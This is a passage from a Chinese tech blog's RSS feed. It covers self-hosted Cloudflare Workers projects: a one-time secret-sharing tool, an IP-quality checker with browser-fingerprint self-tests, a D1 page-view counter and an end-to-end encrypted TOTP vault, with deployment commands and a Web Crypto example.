&lt;li&gt;&lt;strong&gt;不能防止截圖/複製&lt;/strong&gt;：對方看到內容後可以保存，這是所有類似工具的共同侷限&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不保證立即擦除&lt;/strong&gt;：D1 可能有備份，刪除記錄不代表所有介質立即擦除&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;信任 Cloudflare&lt;/strong&gt;：雖然是端到端加密，但前端代碼是從 CF 加載的，理論上存在被篡改的風險（已用 CSP + SRI 緩解）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;網絡中斷&lt;/strong&gt;：領取時如果網絡中斷，次數可能已消耗但內容沒送達（已在界面明確提示）&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;6. 開源與部署&lt;/h2&gt;
&lt;p&gt;代碼基於提示詞由 GPT 生成，我負責部署、UI 美化、安全加固。核心改動：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;分享鏈接強制用中性 workers.dev 域名（隱私隔離）&lt;/li&gt;
&lt;li&gt;UI 美化：配色、漸變、交互細節&lt;/li&gt;
&lt;li&gt;修復 CSP 哈希（改代碼後必須重新計算，否則瀏覽器攔截）&lt;/li&gt;
&lt;li&gt;補上缺失的 &lt;code&gt;RATE_LIMIT_SECRET&lt;/code&gt; 環境變量&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;部署方式：&lt;code&gt;wrangler deploy&lt;/code&gt;，D1 建表，設 Cron，綁自定義域名。全程免費額度搞定。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;em&gt;有敏感信息要傳？試試 &lt;a href=&quot;https://sealed.ouneed.tech&quot;&gt;https://sealed.ouneed.tech&lt;/a&gt;，閱後即焚，片字不留。&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>自建 IP 質量檢測站：多數據源聚合 + 瀏覽器指紋</title><link>https://blog.ouneed.tech/posts/ip-check-aggregator/</link><guid isPermaLink="true">https://blog.ouneed.tech/posts/ip-check-aggregator/</guid><description>用 Cloudflare Workers 打造一個 IP 檢測聚合站：四家地理數據源對比、Spam 黑名單檢測、WebRTC 洩露檢測、瀏覽器指紋，一次查完不用一家家手動測。</description><pubDate>Sat, 17 Oct 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;🔍 &lt;strong&gt;在線體驗&lt;/strong&gt;：&lt;a href=&quot;https://ip.ouneed.tech&quot;&gt;https://ip.ouneed.tech&lt;/a&gt; —— 本文中介紹的 IP 質量檢測站，打开即用，支持 API 調用。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;0. TL;DR：先給結論&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;問題&lt;/th&gt;
&lt;th&gt;結論&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;這是什麼？&lt;/td&gt;
&lt;td&gt;一個跑在 Cloudflare Workers 上的 IP 質量檢測聚合站&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;跟 ippure 之類的有什麼區別？&lt;/td&gt;
&lt;td&gt;多家數據源並行查詢、結果對比展示；開源自託管；提供 API&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;查什麼？&lt;/td&gt;
&lt;td&gt;地理位置（4 家對比）、ASN、IP 類型、代理/VPN 標記、Spam 黑名單、WebRTC 洩露、瀏覽器指紋&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;要錢嗎？&lt;/td&gt;
&lt;td&gt;不用，純 Cloudflare 免費額度&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;1. 為什麼做這個？&lt;/h2&gt;
&lt;p&gt;之前在 NodeSeek 看到有人分享自建的 IP 檢測站（ip.nodecloak.com），底下評論都在討論哪家最準：有人推 ippure.com，有人說 ipsuper.com，還有人提 scamalytics.com 識別機房最強。&lt;/p&gt;
&lt;p&gt;共識是：&lt;strong&gt;各家分數差異巨大，別迷信總分，要看具體風險項&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;問題是，要看全就得一家家手動打開測，麻煩。不如做個聚合站，一次查詢，多家數據源並行返回，對比著看。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. 數據源&lt;/h2&gt;
&lt;h3&gt;2.1 地理位置（4 家對比）&lt;/h3&gt;
&lt;p&gt;同時查詢，逐行列出各家給的位置：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;數據源&lt;/th&gt;
&lt;th&gt;方式&lt;/th&gt;
&lt;th&gt;備註&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Cloudflare&lt;/td&gt;
&lt;td&gt;&lt;code&gt;request.cf&lt;/code&gt; 原生&lt;/td&gt;
&lt;td&gt;邊緣節點看到的，最準的其一&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ip-api.com&lt;/td&gt;
&lt;td&gt;免費 API&lt;/td&gt;
&lt;td&gt;45 次/分鐘，含代理/機房標記&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ipwho.is&lt;/td&gt;
&lt;td&gt;免費免 key&lt;/td&gt;
&lt;td&gt;備用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ipapi.co&lt;/td&gt;
&lt;td&gt;免費 1000/天&lt;/td&gt;
&lt;td&gt;備用&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;為什麼要對比？實測 &lt;code&gt;8.8.8.8&lt;/code&gt;：Cloudflare 說 Texas，ip-api 說 Virginia。這種差異直接就能看出來，不用你一家家手動測。&lt;/p&gt;
&lt;h3&gt;2.2 風險標記&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;代理/VPN&lt;/strong&gt;：ip-api.com 的 &lt;code&gt;proxy&lt;/code&gt; 字段&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;機房 IP&lt;/strong&gt;：&lt;code&gt;hosting&lt;/code&gt; 字段 + ASN 判斷&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;移動網絡&lt;/strong&gt;：&lt;code&gt;mobile&lt;/code&gt; 字段&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Spam 黑名單&lt;/strong&gt;：通過 DoH 並行查詢 Spamhaus ZEN、Spamhaus XBL、Barracuda、SORBS&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.3 純淨度評分&lt;/h3&gt;
&lt;p&gt;0–100 分，扣分規則公開透明：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;風險項&lt;/th&gt;
&lt;th&gt;扣分&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;代理/VPN&lt;/td&gt;
&lt;td&gt;−35&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;機房 IP&lt;/td&gt;
&lt;td&gt;−15&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;黑名單命中&lt;/td&gt;
&lt;td&gt;每項 −20（最多 −40）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;等級：90+ 優秀 / 70+ 良好 / 50+ 一般 / 30+ 較差 / 30 以下高風險。&lt;/p&gt;
&lt;p&gt;分數只是參考，&lt;strong&gt;重點看具體的風險項說明&lt;/strong&gt;——每個風險項都用人話解釋是什麼意思、會有什麼影響。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. 瀏覽器端檢測（查本機時自動跑）&lt;/h2&gt;
&lt;h3&gt;3.1 WebRTC 洩露檢測&lt;/h3&gt;
&lt;p&gt;用 &lt;code&gt;RTCPeerConnection&lt;/code&gt; + STUN 服務器，看瀏覽器有沒有洩露真實 IP。如果你掛著代理但 WebRTC 洩露了真實 IP，這裡會標紅警告。&lt;/p&gt;
&lt;h3&gt;3.2 瀏覽器指紋&lt;/h3&gt;
&lt;p&gt;收集（僅本地顯示，不上傳）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;User-Agent、語言、時區&lt;/li&gt;
&lt;li&gt;屏幕分辨率、設備像素比&lt;/li&gt;
&lt;li&gt;操作系統平台、CPU 核數&lt;/li&gt;
&lt;li&gt;Canvas 指紋（繪製測試圖形算哈希）&lt;/li&gt;
&lt;li&gt;GPU 型號（WebGL）&lt;/li&gt;
&lt;li&gt;DNT 狀態&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;這些是網站用來識別你的常用手段，看看自己有多&quot;獨特&quot;。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;4. API&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;GET /api/&amp;lt;ip&amp;gt;&lt;/code&gt; 返回 JSON：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;ip&quot;: &quot;8.8.8.8&quot;,
  &quot;score&quot;: 75,
  &quot;grade&quot;: &quot;良好&quot;,
  &quot;country&quot;: &quot;United States&quot;,
  &quot;city&quot;: &quot;Ashburn&quot;,
  &quot;asn&quot;: &quot;AS15169&quot;,
  &quot;isp&quot;: &quot;Google LLC&quot;,
  &quot;type&quot;: &quot;datacenter&quot;,
  &quot;isProxy&quot;: false,
  &quot;blacklists&quot;: [],
  &quot;geoSources&quot;: [
    {&quot;name&quot;: &quot;Cloudflare&quot;, &quot;location&quot;: &quot;US, Texas&quot;},
    {&quot;name&quot;: &quot;ip-api.com&quot;, &quot;location&quot;: &quot;United States, Virginia, Ashburn&quot;}
  ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;GET /api/__self__&lt;/code&gt; 查請求方的 IP。限流：單 IP 每分鐘 60 次。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;5. 技術實現&lt;/h2&gt;
&lt;p&gt;單個 Worker，無數據庫：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;用戶請求
  ↓
Worker 並行查詢:
  ├─ request.cf (原生)
  ├─ ip-api.com
  ├─ ipwho.is
  ├─ ipapi.co
  └─ DNSBL via DoH (4 家並行)
  ↓
聚合評分 → 返回 JSON / 渲染頁面
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;前端是單 HTML（含在 Worker 裏），仿 ippure 風格：淺色主題、漸變評分條、通俗徽章（🏠家庭寬帶/🖥️機房IP/📱移動網絡）、技術參數折疊。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;6. 侷限性&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;免費 API 有額度限制，ipwho.is 和 ipapi.co 有時會被限流（核心的 CF + ip-api.com 一直穩定）&lt;/li&gt;
&lt;li&gt;DNSBL 查詢偶爾誤報（比如把 Google DNS 標為代理），僅供參考&lt;/li&gt;
&lt;li&gt;評分是自創規則，不是行業標準，別拿去跟 ippure 的分數直接比&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;em&gt;查一下你的 IP 乾不乾淨：&lt;a href=&quot;https://ip.ouneed.tech&quot;&gt;https://ip.ouneed.tech&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>博客瀏覽量統計：Cloudflare Workers + D1 的極簡方案</title><link>https://blog.ouneed.tech/posts/blog-views-stats/</link><guid isPermaLink="true">https://blog.ouneed.tech/posts/blog-views-stats/</guid><description>不用 Google Analytics，用一個 Worker + D1 自己統計博客瀏覽量：按 IP+日期去重，數據完全自控，免費額度夠用。</description><pubDate>Sat, 17 Oct 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0. TL;DR&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;問題&lt;/th&gt;
&lt;th&gt;結論&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;用什麼統計？&lt;/td&gt;
&lt;td&gt;Cloudflare Workers + D1，單文件 Worker&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;怎麼去重？&lt;/td&gt;
&lt;td&gt;IP + 日期，同一 IP 一天只計一次&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;要錢嗎？&lt;/td&gt;
&lt;td&gt;不用，D1 免費額度（每天 10 萬次讀取）綽綽有餘&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;數據在哪？&lt;/td&gt;
&lt;td&gt;自己的 D1 數據庫，隨時導出&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;1. 為什麼不用 GA？&lt;/h2&gt;
&lt;p&gt;Google Analytics 功能強大，但：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;加載第三方 JS，拖慢首屏&lt;/li&gt;
&lt;li&gt;隱私政策麻煩（歐盟用戶要彈 cookie 橫幅）&lt;/li&gt;
&lt;li&gt;數據在 Google 手裡&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;博客只需要兩個數字：&lt;strong&gt;每篇文章多少人看過&lt;/strong&gt;，&lt;strong&gt;全站總共多少瀏覽&lt;/strong&gt;。自己寫個 100 行的 Worker 就夠了。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. 架構&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;瀏覽器打開文章頁
  ↓ fetch POST /hit {path}
Worker
  ├─ 取 CF-Connecting-IP
  ├─ 查 D1：今天這個 IP 看過這篇文章嗎？
  ├─ 沒看過 → views+1，記錄 IP+日期
  └─ 看過 → 直接返回當前數
  ↓
前端顯示閱讀數
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.1 數據表&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;CREATE TABLE views (
  path TEXT PRIMARY KEY,
  count INTEGER DEFAULT 0
);
CREATE TABLE seen (
  path TEXT,
  ip_hash TEXT,
  date TEXT,
  PRIMARY KEY (path, ip_hash, date)
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;seen&lt;/code&gt; 表存&quot;誰今天看過哪篇&quot;，用 IP 的 SHA256 哈希（不存原始 IP，隱私考慮）。&lt;/p&gt;
&lt;h3&gt;2.2 API&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;POST /hit&lt;/code&gt; &lt;code&gt;{path}&lt;/code&gt; → 記錄一次瀏覽，返回 &lt;code&gt;{count}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GET /count?path=&lt;/code&gt; → 查單篇閱讀數&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GET /batch?paths=&lt;/code&gt; → 批量查（列表頁用）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GET /total&lt;/code&gt; → 全站總數（頁腳顯示）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.3 前端&lt;/h3&gt;
&lt;p&gt;文章頁加載時調 &lt;code&gt;/hit&lt;/code&gt;，頁腳調 &lt;code&gt;/total&lt;/code&gt;。都是簡單的 &lt;code&gt;fetch&lt;/code&gt;，失敗了也不影響頁面（靜默降級）。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. 去重邏輯&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;const today = new Date().toISOString().slice(0, 10);
const ipHash = await sha256(ip);
const seen = await db.prepare(
  &quot;SELECT 1 FROM seen WHERE path=? AND ip_hash=? AND date=?&quot;
).bind(path, ipHash, today).first();

if (!seen) {
  await db.batch([
    db.prepare(&quot;INSERT INTO seen VALUES (?,?,?)&quot;).bind(path, ipHash, today),
    db.prepare(&quot;INSERT INTO views(path,count) VALUES(?,1) ON CONFLICT(path) DO UPDATE SET count=count+1&quot;).bind(path),
  ]);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同一 IP 同一天看同一篇文章，只計一次。換天重新計（算活躍讀者）。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;4. 隱私考慮&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;不存原始 IP&lt;/strong&gt;：只存 SHA256 哈希，加鹽&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不存 User-Agent&lt;/strong&gt;：不需要&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不跨站追蹤&lt;/strong&gt;：每個博客獨立，沒有第三方 cookie&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;數據可刪除&lt;/strong&gt;：D1 是自己的，一條 SQL 清空&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;5. 成本&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;用量&lt;/th&gt;
&lt;th&gt;免費額度&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Worker 請求&lt;/td&gt;
&lt;td&gt;每天幾百次&lt;/td&gt;
&lt;td&gt;每天 10 萬次&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;D1 讀取&lt;/td&gt;
&lt;td&gt;每天幾千次&lt;/td&gt;
&lt;td&gt;每天 10 萬次&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;D1 寫入&lt;/td&gt;
&lt;td&gt;每天幾百次&lt;/td&gt;
&lt;td&gt;每天 5 萬次&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;D1 存儲&lt;/td&gt;
&lt;td&gt;幾 KB&lt;/td&gt;
&lt;td&gt;5 GB&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;個人博客隨便用，連免費額度的零頭都用不完。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;6. 部署&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# 建 D1
wrangler d1 create blog-views

# 建表
wrangler d1 execute blog-views --file schema.sql

# 部署
wrangler deploy
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;前端加兩行 JS 就行。完整代碼 100 多行，一個文件搞定。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;em&gt;輕量、隱私、免費——個人博客的瀏覽量統計就該這麼簡單。&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>自託管 TOTP 驗證器：Cloudflare Workers + D1 的 2FA 網頁保險庫</title><link>https://blog.ouneed.tech/posts/2fa-totp-vault/</link><guid isPermaLink="true">https://blog.ouneed.tech/posts/2fa-totp-vault/</guid><description>不想每次掏手機看驗證碼？用 Cloudflare Workers + D1 打造一個純自託管的網頁版 TOTP 驗證器：零依賴、端到端加密、單 HTML 前端。</description><pubDate>Sat, 17 Oct 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;🚀 &lt;strong&gt;在線體驗&lt;/strong&gt;：&lt;a href=&quot;https://2fa.ouneed.tech&quot;&gt;https://2fa.ouneed.tech&lt;/a&gt; —— 本文中介紹的自託管 TOTP 驗證器，打开即用。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;0. TL;DR：先給結論&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;問題&lt;/th&gt;
&lt;th&gt;結論&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;這是什麼？&lt;/td&gt;
&lt;td&gt;一個跑在 Cloudflare Workers + D1 上的網頁版 TOTP 驗證器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;為什麼不用手機 App？&lt;/td&gt;
&lt;td&gt;電腦前工作時不用掏手機；多設備同步；備份可控&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;安全嗎？&lt;/td&gt;
&lt;td&gt;服務端只存密文；密鑰派生用 PBKDF2-SHA256（600,000 次）；密碼遺失無法恢復&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;成本？&lt;/td&gt;
&lt;td&gt;Cloudflare 免費額度內搞定，$0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;部署多麻煩？&lt;/td&gt;
&lt;td&gt;&lt;code&gt;git push&lt;/code&gt; → GitHub Actions 自動部署，約 5 分鐘&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;1. 起點：為什麼要自託管 2FA&lt;/h2&gt;
&lt;p&gt;雙因素認證（2FA）這東西，用過的人都知道它的彆扭之處：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;手機 App（Google Authenticator、Authy 之流）每次都要掏手機&lt;/li&gt;
&lt;li&gt;換手機時遷移是個災難，丟了恢復碼就等著哭&lt;/li&gt;
&lt;li&gt;雲同步方案等於把你的 TOTP 種子交給第三方&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我的需求很具體：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;一個能在瀏覽器裡打開即用的 TOTP 驗證器，數據完全自己掌控，不依賴任何第三方同步服務。&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;驗收標準也很明確：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;純自託管&lt;/strong&gt;：代碼開源，跑在我自己的 Cloudflare 帳號下&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;端到端加密&lt;/strong&gt;：服務端拿不到明文種子，即使 D1 被拖庫也解不開&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;零運維&lt;/strong&gt;：Serverless，按量計費（免費額度內）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;夠輕&lt;/strong&gt;：單 HTML、無框架、無構建步驟&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;2. 架構：簡單到離譜&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;瀏覽器（單 HTML 文件，原生 JS + Web Crypto API，&amp;lt; 60KB）
   │  HTTPS
   ▼
Cloudflare Worker（API + 靜態頁面服務）
   │  綁定
   ▼
D1（SQLite，只存密文）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就三層，沒有第四層。前端零依賴，後端零 npm 運行時依賴，部署就是一個 &lt;code&gt;wrangler deploy&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;2.1 用戶模型&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;角色&lt;/th&gt;
&lt;th&gt;權限&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;主管理員（admin）&lt;/td&gt;
&lt;td&gt;查看自己的 2FA；創建/刪除子用戶；查看用戶列表&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;子用戶&lt;/td&gt;
&lt;td&gt;只能查看自己的 2FA，無其他權限&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;每個用戶由&lt;strong&gt;用戶名 + 密碼&lt;/strong&gt;標識——密碼既是身份，也是解密鑰匙。&lt;/p&gt;
&lt;h3&gt;2.2 隱藏登錄入口&lt;/h3&gt;
&lt;p&gt;一個有意思的設計：未登錄時首頁顯示的表單，外观看起來像「快速添加 TOTP」（名稱框 + 字符串框 + 按鈕），實際邏輯是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如果名稱匹配某用戶名且字符串匹配其密碼 → 登錄成功進入 vault&lt;/li&gt;
&lt;li&gt;否則顯示通用錯誤「格式不正確」&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;不給任何「這是登錄入口」的提示。算是一種樸素的混淆。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. 加密設計（核心）&lt;/h2&gt;
&lt;p&gt;這是整個項目最重要的部分。威脅模型很明確：&lt;strong&gt;假設服務端（Worker + D1）完全不可信&lt;/strong&gt;——Cloudflare 能看到 D1 裡的所有數據，但拿不到你的 TOTP 種子明文。&lt;/p&gt;
&lt;h3&gt;3.1 密鑰派生&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;用戶密碼 + 隨機鹽 → PBKDF2-SHA256（600,000 次迭代）→ 64 字節
    ├── 前 32 字節 → AES-GCM 加密密鑰（保護 TOTP 種子）
    └── 後 32 字節 → HMAC-SHA256 驗證密鑰（服務端驗證身份，不存密碼）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;關鍵點：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;服務端從不存儲密碼明文&lt;/strong&gt;，只存 HMAC 驗證值&lt;/li&gt;
&lt;li&gt;600,000 次 PBKDF2 迭代讓暴力破解成本極高&lt;/li&gt;
&lt;li&gt;鹽是每用戶隨機的，彩虹表無效&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3.2 TOTP 種子加密流程&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 簡化示意，實際代碼在 worker.js 中
async function encryptSeed(seed, password, salt) {
  // 1. 派生密鑰
  const keyMaterial = await crypto.subtle.importKey(
    &quot;raw&quot;,
    new TextEncoder().encode(password),
    &quot;PBKDF2&quot;,
    false,
    [&quot;deriveBits&quot;]
  );
  const bits = await crypto.subtle.deriveBits(
    { name: &quot;PBKDF2&quot;, salt, iterations: 600000, hash: &quot;SHA-256&quot; },
    keyMaterial,
    512  // 64 字節
  );

  // 2. 拆分：前 32 字節加密，後 32 字節驗證
  const encKey = await crypto.subtle.importKey(
    &quot;raw&quot;, bits.slice(0, 32), &quot;AES-GCM&quot;, false, [&quot;encrypt&quot;]
  );

  // 3. AES-GCM 加密種子
  const iv = crypto.getRandomValues(new Uint8Array(12));
  const ciphertext = await crypto.subtle.encrypt(
    { name: &quot;AES-GCM&quot;, iv },
    encKey,
    new TextEncoder().encode(seed)
  );

  return { ciphertext, iv, salt };
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解密在前端完成——&lt;strong&gt;種子明文永遠不會離開瀏覽器&lt;/strong&gt;。Worker 只負責存取密文blob。&lt;/p&gt;
&lt;h3&gt;3.3 為什麼是 600,000 次？&lt;/h3&gt;
&lt;p&gt;OWASP 2023 年對 PBKDF2-HMAC-SHA256 的推薦是 600,000 次迭代。這不是拍腦袋的數字：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;迭代次數&lt;/th&gt;
&lt;th&gt;單次派生耗時（普通筆電）&lt;/th&gt;
&lt;th&gt;暴力破解成本&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;100,000&lt;/td&gt;
&lt;td&gt;~50ms&lt;/td&gt;
&lt;td&gt;低&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;600,000&lt;/td&gt;
&lt;td&gt;~300ms&lt;/td&gt;
&lt;td&gt;高（OWASP 推薦）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1,000,000&lt;/td&gt;
&lt;td&gt;~500ms&lt;/td&gt;
&lt;td&gt;更高，但用戶體驗下降&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;300ms 的登錄延遲完全可接受，換來的是攻擊者每次猜測都要燒 300ms 的 CPU。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;4. 部署：三種方式&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;方式&lt;/th&gt;
&lt;th&gt;是否需要 GitHub&lt;/th&gt;
&lt;th&gt;適合場景&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;本機 Wrangler → Cloudflare&lt;/td&gt;
&lt;td&gt;否&lt;/td&gt;
&lt;td&gt;最少環節，推薦首次測試&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cloudflare Workers Builds 連接 GitHub&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;td&gt;開源並隨 push 自動部署，推薦長期使用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GitHub Actions → Cloudflare&lt;/td&gt;
&lt;td&gt;是&lt;/td&gt;
&lt;td&gt;希望部署記錄與檢查都在 GitHub&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;應用運行不依賴 GitHub。&lt;/strong&gt; 自動部署渠道只選一種，避免同一次 push 重複部署。&lt;/p&gt;
&lt;h3&gt;4.1 本機快速預覽（不連 Cloudflare）&lt;/h3&gt;
&lt;p&gt;需要 Node.js 24，在項目根目錄運行：&lt;/p&gt;
